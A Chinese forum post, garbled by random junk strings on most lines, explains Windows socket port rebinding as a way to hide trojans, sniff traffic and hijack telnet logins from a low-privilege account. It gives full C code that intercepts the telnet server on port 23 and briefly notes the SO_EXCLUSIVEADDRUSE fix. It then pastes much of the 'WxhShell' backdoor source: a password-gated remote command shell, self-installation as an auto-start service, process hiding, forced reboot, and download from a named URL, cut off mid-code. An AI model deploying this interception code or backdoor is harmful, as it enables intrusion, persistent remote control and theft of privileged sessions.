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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q@jq0D)g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7YAIA%8  
EFc-foN  
  saddr.sin_family = AF_INET; a:_I  
}>[G5[ \  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NVl [kw  
{$1J=JbE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Jx=hJ-FY  
W'on$mB5<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 XB[<;*Iz  
mB0l "# F  
  这意味着什么?意味着可以进行如下的攻击: 0n/gd"M  
_A~4NW{U7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X@|&c]]  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g5q$A9.Jl  
@EoZI~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A?*o0I  
W k}AmC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zY|klX})  
rP(eva  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :>81BuMvg  
<vUVP\u~$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "p3_y`h6+  
8/"fWm/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c )7j QA  
@WKzX41'  
  #include T{}fHfM  
  #include g_Im;1$  
  #include D\H/   
  #include    cUO<.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !SKV!xH9  
  int main() BtY%r7^o  
  { "3F;cCDv]  
  WORD wVersionRequested; j:bgR8 %e  
  DWORD ret; }!i` 0p  
  WSADATA wsaData; vEG'HOP  
  BOOL val; Xq4|uuS-O  
  SOCKADDR_IN saddr; F6hmku>\1  
  SOCKADDR_IN scaddr; 4"= Vq5  
  int err; .4l/_4,s_  
  SOCKET s; D?M!ra  
  SOCKET sc; [= "r<W0  
  int caddsize; aTzDew  
  HANDLE mt; ` rm?a0  
  DWORD tid;   4eH.9t  
  wVersionRequested = MAKEWORD( 2, 2 ); lHB) b}7E  
  err = WSAStartup( wVersionRequested, &wsaData ); nmjm<Bu  
  if ( err != 0 ) { dr q hQ  
  printf("error!WSAStartup failed!\n"); `8\Ja$ =  
  return -1; y]e>E  
  } '!1$9o^$  
  saddr.sin_family = AF_INET; l =IeJh  
   l\$ +7|W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _KD5T4FZR  
W@\ (nfD2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +2C?9:bH  
  saddr.sin_port = htons(23); +{53a_q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AD('=g J  
  { Tx%VU8\?n  
  printf("error!socket failed!\n"); ->lu#; A5  
  return -1; !8tS|C#2  
  } u2(eaP8d  
  val = TRUE; /b,TpuM^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0F;,O3Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r(2 R <A  
  { GQ_Ia\  
  printf("error!setsockopt failed!\n"); )fU(AXSP  
  return -1; giavJ|  
  } fUWm7>6VA>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1]3bx N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xo 'w+Av  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I8%'Z>E(  
6C51:XQO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Rw=E_q{  
  { S+xGHi)  
  ret=GetLastError(); \w_[tPz}  
  printf("error!bind failed!\n"); r`g;k&"a  
  return -1; rHdP4:n  
  } __n"DLW  
  listen(s,2); adE0oXQH"  
  while(1) ! tPK"k  
  { zr9Pm6Rl  
  caddsize = sizeof(scaddr); }N9a!,{P=b  
  //接受连接请求 ?&nz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g(r'Y#U  
  if(sc!=INVALID_SOCKET) v;qL? _:=c  
  { >)Z2bCe  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <0qY8  
  if(mt==NULL) z}N^`_ *  
  { k#+^=F^)I  
  printf("Thread Creat Failed!\n"); h?tV>x/Fu  
  break; "lzg@=$|)  
  } 128 rly  
  } (qONeLf%  
  CloseHandle(mt); jtpNo~O  
  } g^^m a}i  
  closesocket(s); L`@&0Zk  
  WSACleanup(); 2m}]z.w#  
  return 0; Yy~Dg  
  }   9>, \QrrH  
  DWORD WINAPI ClientThread(LPVOID lpParam) h4xdE 0  
  { (X'K)*G#  
  SOCKET ss = (SOCKET)lpParam; BU\NBvX$  
  SOCKET sc; #^w 1!xXD  
  unsigned char buf[4096]; V"p*Jd"w  
  SOCKADDR_IN saddr; =n?@My?;  
  long num; |8+rUFkU8  
  DWORD val; ]V\ g$@  
  DWORD ret; n{* [Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Dp'af4+%$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IN*Z__l8j`  
  saddr.sin_family = AF_INET; 5S?Xl|8E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r|$g((g  
  saddr.sin_port = htons(23); ht!:e>z&4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .SFwjriZ  
  { ~t$VzL1  
  printf("error!socket failed!\n"); Fd0FG A&L  
  return -1; Qd=/e pkm  
  } XwGJ 8&N  
  val = 100; Ho9*y3]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a MD?^  
  { 9$t@Gmn  
  ret = GetLastError(); c9K\K~bk  
  return -1; t*$@QO  
  } Y*Rqgpu $  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SxyFFt  
  { XiUsaoQm3  
  ret = GetLastError(); L>*|T[~  
  return -1; Cq'r 'cBZ  
  } WV5R$IqY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) svII =JB  
  { WocFID:b  
  printf("error!socket connect failed!\n"); X13bi}O6#  
  closesocket(sc); m{" zFD/  
  closesocket(ss); D=+sD"<|  
  return -1; Z%{2/mQ  
  } w-m2N-"= '  
  while(1) 5 [*jfOz  
  { 3J{'|3x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r,\(Y@I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jKs8i$q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {M5IJt"{4b  
  num = recv(ss,buf,4096,0); v\Gu  
  if(num>0) _;+&'=6.[  
  send(sc,buf,num,0); EJsb{$u  
  else if(num==0) pQ JZE7S  
  break; uW|y8 BP $  
  num = recv(sc,buf,4096,0); -8: @xG2  
  if(num>0) rA7S1)Kq  
  send(ss,buf,num,0); {0~ p"%*  
  else if(num==0) < XU]%}o  
  break; Ea 1>]V  
  } ~5zhK:7c  
  closesocket(ss); sP#5l @  
  closesocket(sc); /6fsh7 \  
  return 0 ; #:X :~T  
  } q^)(p' X  
+xa2e?A%L  
?uLqB@!2  
========================================================== %1<|.Dmd  
W3#L!&z_wK  
下边附上一个代码,,WXhSHELL 9hQ{r 2  
! `o =2b=N  
========================================================== &+p07  
c s> W6  
#include "stdafx.h" x :s-\>RcA  
78kk"9h'  
#include <stdio.h> 4?cg6WJ'6  
#include <string.h> bk 2vce&  
#include <windows.h> 43YusUv  
#include <winsock2.h> 5 X rn]  
#include <winsvc.h> pE#0949  
#include <urlmon.h> H'0S;A+Y6  
]`x~v4JU  
#pragma comment (lib, "Ws2_32.lib") '?nhpT^  
#pragma comment (lib, "urlmon.lib") eL*Edl|#  
sSxra!tv4  
#define MAX_USER   100 // 最大客户端连接数 *@< jJP4  
#define BUF_SOCK   200 // sock buffer &7cy9Z~m  
#define KEY_BUFF   255 // 输入 buffer 6mZFsB  
K(hf)1q  
#define REBOOT     0   // 重启 tO#y4<  
#define SHUTDOWN   1   // 关机 gBN;j  
y~w$>7U.  
#define DEF_PORT   5000 // 监听端口 JyV"jL   
P<U{jkM\/  
#define REG_LEN     16   // 注册表键长度 SExd-=G  
#define SVC_LEN     80   // NT服务名长度 p ^Ruf?>  
 z>!b  
// 从dll定义API :%{8lanO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N?aU<-Tn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '{EDdlX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D`+'#%%x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -LF^u;s8&S  
w%htY.-  
// wxhshell配置信息 Q~`n%uYg\{  
struct WSCFG { :)&_  
  int ws_port;         // 监听端口 *v6'I-#  
  char ws_passstr[REG_LEN]; // 口令 Gg_i:4F  
  int ws_autoins;       // 安装标记, 1=yes 0=no AV?*r-vWL.  
  char ws_regname[REG_LEN]; // 注册表键名 D(y=0),  
  char ws_svcname[REG_LEN]; // 服务名 75a3H`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4:7z9h]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {epsiHK@tK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hD"Tjd` P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s i C/k*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X\_ku?]v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZT!DTb B  
\ ^_3Yw  
}; d+l@hgz~  
e4t'3So  
// default Wxhshell configuration 7JjTm^bu  
struct WSCFG wscfg={DEF_PORT, V5m4dQ>t  
    "xuhuanlingzhe", 4Xlq Ym  
    1, ?me0J3u_  
    "Wxhshell", [W` _`  
    "Wxhshell", P@)z Nik[  
            "WxhShell Service", :9 .ik  
    "Wrsky Windows CmdShell Service", #49,7OBU  
    "Please Input Your Password: ", -B'<*Y  
  1, N,L$+wm  
  "http://www.wrsky.com/wxhshell.exe", //xxSk  
  "Wxhshell.exe" d(<[$ 3.  
    }; Bf.@B0\  
;V@o 2a  
// 消息定义模块 f/aSqhAW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }Til $TT%H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +9M#-:qB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _3.=| @L  
char *msg_ws_ext="\n\rExit."; 6cDe_v|,  
char *msg_ws_end="\n\rQuit."; NvY%sx,  
char *msg_ws_boot="\n\rReboot..."; MqRpG5 .  
char *msg_ws_poff="\n\rShutdown..."; @-)jU!  
char *msg_ws_down="\n\rSave to "; gy0l@ 5 N  
P`0}( '"U  
char *msg_ws_err="\n\rErr!"; R^4JM,v9x`  
char *msg_ws_ok="\n\rOK!"; eh`n?C  
!/2u O5  
char ExeFile[MAX_PATH]; -pvF~P?8U  
int nUser = 0; %v5IR  
HANDLE handles[MAX_USER]; u[k0z!p_ c  
int OsIsNt; =f4>vo}@k  
`saDeur#X  
SERVICE_STATUS       serviceStatus; 06X4mu{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8iQ8s;@S&>  
u 6A!Sw  
// 函数声明 z$C}V/Ey  
int Install(void); [M?'N w/[S  
int Uninstall(void); O1[`2kj^HB  
int DownloadFile(char *sURL, SOCKET wsh); ?> )(;Ir9  
int Boot(int flag); _[M*o0[@W  
void HideProc(void); u4hC/!  
int GetOsVer(void); kzozjh%`9h  
int Wxhshell(SOCKET wsl); R<]f[  
void TalkWithClient(void *cs); F)XO5CBK  
int CmdShell(SOCKET sock); (@X].oM^y  
int StartFromService(void); w`ebZa/j  
int StartWxhshell(LPSTR lpCmdLine); x`9IQQ  
cqXP}5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B bP&-c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fRlO.!0(  
/fh[_!qN  
// 数据结构和表定义 dK.k,7R  
SERVICE_TABLE_ENTRY DispatchTable[] = 'Sk-L 5  
{ ~&{LMf  
{wscfg.ws_svcname, NTServiceMain}, KF!?; q0J  
{NULL, NULL} <+3-(&  
}; :9?y-X  
<gfkbDP2  
// 自我安装 C[c^zn  
int Install(void) J A!?vs  
{ iC(&U YL  
  char svExeFile[MAX_PATH]; 0[L)`7  
  HKEY key; MVDEVq0  
  strcpy(svExeFile,ExeFile); _4^#VD#f  
fC|NK+Xd`  
// 如果是win9x系统,修改注册表设为自启动 `%@| sK2  
if(!OsIsNt) { ']Z1nb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z~[EZgIg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fm-D>PR  
  RegCloseKey(key); Q95`GuI@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HuB\92u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {)K H%  
  RegCloseKey(key); 4s_|6{ANS  
  return 0; sR;^7(f!m  
    } P[L] S7FTr  
  } I_"Kh BM  
} Lnk(l2~U  
else { D:Rr|m0Tk  
-5X*y4#  
// 如果是NT以上系统,安装为系统服务 a Byetc88/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P70]Ju  
if (schSCManager!=0) &\p=s.y?j  
{ 09_5niaz[  
  SC_HANDLE schService = CreateService *h9S\Pv>j  
  ( ~[*\YN);  
  schSCManager, (U?*Z/  
  wscfg.ws_svcname, G_cWp D/  
  wscfg.ws_svcdisp, T*3>LY+bb  
  SERVICE_ALL_ACCESS, q'9}Hz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .$]%gjIBCl  
  SERVICE_AUTO_START, %pd-{KR  
  SERVICE_ERROR_NORMAL, ;}W-9=81  
  svExeFile, {3H)c^Q  
  NULL, ]/cVlpZ{f  
  NULL, m5wfQ_}}ss  
  NULL, Z#O )0ou  
  NULL, 1%v!8$  
  NULL Y+,ii$Ce~  
  ); jvI!BZ  
  if (schService!=0) 0^H"eQO  
  { ju jhK'\  
  CloseServiceHandle(schService); Q"6:W2#v  
  CloseServiceHandle(schSCManager); -W/Lg5eK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  b6`_;Z  
  strcat(svExeFile,wscfg.ws_svcname); A#yZh\#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S,ENbP%0r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Lp|7s8?  
  RegCloseKey(key); W E-cq1)  
  return 0; eHQS\n  
    } #2/2X v  
  } f: j9ze  
  CloseServiceHandle(schSCManager); 6n|R<DO%\  
} ftr8~*]O  
}  {"RUiL^  
5f~49(v]  
return 1; MO_-7,.y  
} XF6ed  
vKcZgIR  
// 自我卸载 ]4uY<9VL  
int Uninstall(void) tdCD!rV`{  
{ (~6D`g`B  
  HKEY key; '%W`:K'  
]O^C'GzZ  
if(!OsIsNt) { 4x2 ;@Pd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T 5AoBUw  
  RegDeleteValue(key,wscfg.ws_regname); r1jsw j%7  
  RegCloseKey(key); w1Xe9'$Qb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qg`8f?  
  RegDeleteValue(key,wscfg.ws_regname); !_No\O  
  RegCloseKey(key); iI]E%H}  
  return 0; Izapx\GK9  
  } [U^@Bkh  
} u ? }T)B  
} -p-<mC@<&S  
else { 'm4v)w<y#  
7m<;"e)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )B!64'|M  
if (schSCManager!=0) j><8V Qx  
{ J"$Y`;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k"L?("~   
  if (schService!=0) =SUCcdy&  
  { -~|E(ys  
  if(DeleteService(schService)!=0) { >.76<fni  
  CloseServiceHandle(schService); !&f>,?wlP  
  CloseServiceHandle(schSCManager); O0~Qh0~l  
  return 0; Lj,!0 25  
  } ju8DmC5  
  CloseServiceHandle(schService); ssx #\  
  } VGVb3@  
  CloseServiceHandle(schSCManager);  {ch+G~oS  
} /7o{%~O  
} @((Y[<  
Cu`uP[# ch  
return 1; ?j:g.a+U  
} m35$4  
{Rv0@)P$  
// 从指定url下载文件 5i eF8F%  
int DownloadFile(char *sURL, SOCKET wsh) PX$_."WA  
{ q Q/<\6Sl  
  HRESULT hr; #FwTV@  
char seps[]= "/"; FhAYk  
char *token; z<~yns`Y.  
char *file; +)06*"I  
char myURL[MAX_PATH]; ZR |n\.  
char myFILE[MAX_PATH]; '#ow 9w+^  
'X(Sn3  
strcpy(myURL,sURL); 5W4Tp% Lda  
  token=strtok(myURL,seps); E8Y(C_:s  
  while(token!=NULL) "NOll:5"(  
  { |3K]>Lio  
    file=token; }48 o{\  
  token=strtok(NULL,seps); ~]S%b3>  
  } U3rpmml  
9'I$8Su  
GetCurrentDirectory(MAX_PATH,myFILE); zYZ^/7)  
strcat(myFILE, "\\"); #P/}'rdt  
strcat(myFILE, file); \1[v-hvK  
  send(wsh,myFILE,strlen(myFILE),0); 8;+dlWp  
send(wsh,"...",3,0); yE=tuHv(0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0m>?-/uDx  
  if(hr==S_OK) u7G9 eN  
return 0; `ZELw=kLL  
else ^Sj*  
return 1; YLkdT%  
Bm:N@wg  
} (+w.?l  
34s>hm=0.  
// 系统电源模块 k.K;7GZC  
int Boot(int flag) -l i71.M  
{ &br_opNi  
  HANDLE hToken; ?<h|Q~JH  
  TOKEN_PRIVILEGES tkp; GGF;4  
<cNg_ZZ;8  
  if(OsIsNt) { { cMf_qQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6e q`/~#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C#@>osC  
    tkp.PrivilegeCount = 1; OdHl)"#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IKVS7m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .p?kAf`  
if(flag==REBOOT) { _^Yav.A=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e}bY 9  
  return 0; d_w^u|(K  
} +8eW/Bs@2  
else { ~RIn7/A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "u.4@^+i  
  return 0; t}A n:  
} [bZASeh  
  } 0$e]?]X6  
  else { !Q" 3B6 86  
if(flag==REBOOT) { mvrg!/0w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]xf|xs  
  return 0; ?KF.v1w7  
} 6z>Zm1h  
else { Sh2;^6d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .>bvI1  
  return 0; eq(Xzh  
} mbCY\vEl  
} 5p5S_%R$e  
o;<oXv  
return 1; G>H',iOI  
} "i3Q)$"S  
+ziQ]r2g  
// win9x进程隐藏模块 G: p!PB>=  
void HideProc(void) ecl$z6'c  
{ Ls~F4ar$/  
<+2M,fq+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2gC.Z:}  
  if ( hKernel != NULL ) =|G l  
  { h=Xr J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {V{*rq<)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3kl\W[`?  
    FreeLibrary(hKernel); d,0Yi u.p  
  } g,seqh%  
=W Q_5}  
return; lY_&P.B  
} ,'69RL?-Wg  
_'lrI23I  
// 获取操作系统版本 ]/y&5X  
int GetOsVer(void) #[a+m  
{ 9G'Q3? z  
  OSVERSIONINFO winfo; HBc^[fJ^-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  ou[_ y  
  GetVersionEx(&winfo); RW@sh9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TLk=H Gw  
  return 1; fy`e)?46  
  else =os%22*  
  return 0; fEl,jA  
} j+c<0,Kj  
oKJj?%dHK9  
// 客户端句柄模块 K8l|qe  
int Wxhshell(SOCKET wsl) Z ?{;|Z5  
{ 9 OC!\' 8  
  SOCKET wsh; M)U 32gI:  
  struct sockaddr_in client; m-Uq6_e  
  DWORD myID; %-6I  
5$e|@/(0  
  while(nUser<MAX_USER) ~8-Z=-  
{ q,JMmhWaT  
  int nSize=sizeof(client); >g]kbes-\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q`Q%;%t  
  if(wsh==INVALID_SOCKET) return 1; \I@=EF- &  
Xw=>L#Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8/;q~:v  
if(handles[nUser]==0) XM$HHk}L;  
  closesocket(wsh); E0<9NF Qr7  
else m q`EM OH  
  nUser++; ;R E|9GR  
  } [=Y@Ul  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8"4&IX  
$T\z  
  return 0;  #cqia0.H  
} -;TqdL@  
m ?a&XZ  
// 关闭 socket [<Wo7G1s  
void CloseIt(SOCKET wsh) 2<Tbd"x?  
{ /RuGh8qzP  
closesocket(wsh); c|lo%[]R!  
nUser--; uoYG@L2  
ExitThread(0); [lpzUB}<Yp  
} ~n$VCLa  
ca@0?q#  
// 客户端请求句柄 ,BCtNt(  
void TalkWithClient(void *cs) .v36xXK(  
{ oZxC.;xJ  
$9DV }  
  SOCKET wsh=(SOCKET)cs; ZR<T\w  
  char pwd[SVC_LEN]; H3Y FbR  
  char cmd[KEY_BUFF]; `H6-g=C  
char chr[1]; PpD ?TAlA  
int i,j; t<M^/xe2  
#1i&!et&/  
  while (nUser < MAX_USER) { r#^/qs(~  
Vv4 w?K  
if(wscfg.ws_passstr) { k/A8 |  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4k5X'&Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _jOu`1w  
  //ZeroMemory(pwd,KEY_BUFF); Y<0;;tVf4U  
      i=0; $<.\,wW*'w  
  while(i<SVC_LEN) { \kU0D  
HV-c DL  
  // 设置超时 ?!=yp#  
  fd_set FdRead; V9*Z  
  struct timeval TimeOut; nFU'DZ  
  FD_ZERO(&FdRead); /EF0~iy  
  FD_SET(wsh,&FdRead); {.=089`{  
  TimeOut.tv_sec=8; pj:s+7"t  
  TimeOut.tv_usec=0; BbEWa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'thWo wE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); InnjZ>$  
~u-DuOZ8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7\>P@s  
  pwd=chr[0]; r(;sX  
  if(chr[0]==0xd || chr[0]==0xa) { 6%bZZTP`  
  pwd=0; @v^;,cu'8  
  break; 1p&e:v  
  } NUBf>~_}  
  i++; Y5nj _xQJL  
    } "mlVs/nsyG  
U$+EUDFi3_  
  // 如果是非法用户,关闭 socket %M8 m 8 )  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \ng!qN  
} Fk(nf9M%  
28,Hd!{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m)l<2 `CM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z,pKy Inw  
DIAHI V<  
while(1) { 9):h %o  
oU|yBs1  
  ZeroMemory(cmd,KEY_BUFF); :8( "n1^  
`^d[$IbDW  
      // 自动支持客户端 telnet标准   hCpX# rg?  
  j=0; \S5YS2,P  
  while(j<KEY_BUFF) { W20qn>{z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qqm$Jl!  
  cmd[j]=chr[0]; 9:\#GOg  
  if(chr[0]==0xa || chr[0]==0xd) { \eH`{Z'.x5  
  cmd[j]=0; vZ6_/ew8  
  break; Al93x  
  } e-&0f);i  
  j++; S/?!ESW6  
    } FdwlRuG  
\d :AV(u  
  // 下载文件 5xb1FH d:  
  if(strstr(cmd,"http://")) { P3e}G-Oz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :"Gx  
  if(DownloadFile(cmd,wsh)) {7F?30: ]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GkU]>8E'"  
  else :o37 V!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +cXdF  
  } 1uwzo9Yg  
  else { QV%,s!_b  
1r:i'cW h  
    switch(cmd[0]) { P<E!ix  
  Jxo#sV-  
  // 帮助 oS0rP'V^  
  case '?': { _6Z}_SiOl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  0?80V'  
    break; ;NoD4*  
  } fkHCfcU  
  // 安装 ov xX.h O  
  case 'i': { x<=<Lx0B;  
    if(Install()) Lb=4\ _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6s<w} O  
    else 5Sh.4A\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %^qf0d*  
    break; m[w 8|[  
    } GZx?vSoHh  
  // 卸载 M[:},?ah0  
  case 'r': { [&MhAzF  
    if(Uninstall()) hLo'q^mGr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B[IqLD'6  
    else Z*Lv!6WS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h*lU&8)m\  
    break; cedH#;V!j  
    } ]"X} FU  
  // 显示 wxhshell 所在路径 p E56CM  
  case 'p': { [g Y.h/  
    char svExeFile[MAX_PATH]; k62KZ5| D  
    strcpy(svExeFile,"\n\r"); @ak3ZNor  
      strcat(svExeFile,ExeFile); 8|2I/#F}]  
        send(wsh,svExeFile,strlen(svExeFile),0); }uo.N  
    break; G5Z_[Q ~z  
    } y9::m]s  
  // 重启 gPf^dGi7t  
  case 'b': { Gi S{=+=5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fa#5pys  
    if(Boot(REBOOT)) U#gv ~)\k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d{FD.eI 0  
    else { >XU93 )CX  
    closesocket(wsh); @\)a&p]a  
    ExitThread(0); }'c@E0"  
    } uzO3_.4Y  
    break;  ~=Q|EhF5  
    } p}K\rpvJpu  
  // 关机 $ 0Up.  
  case 'd': { s9 .nU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,0fYB*jk  
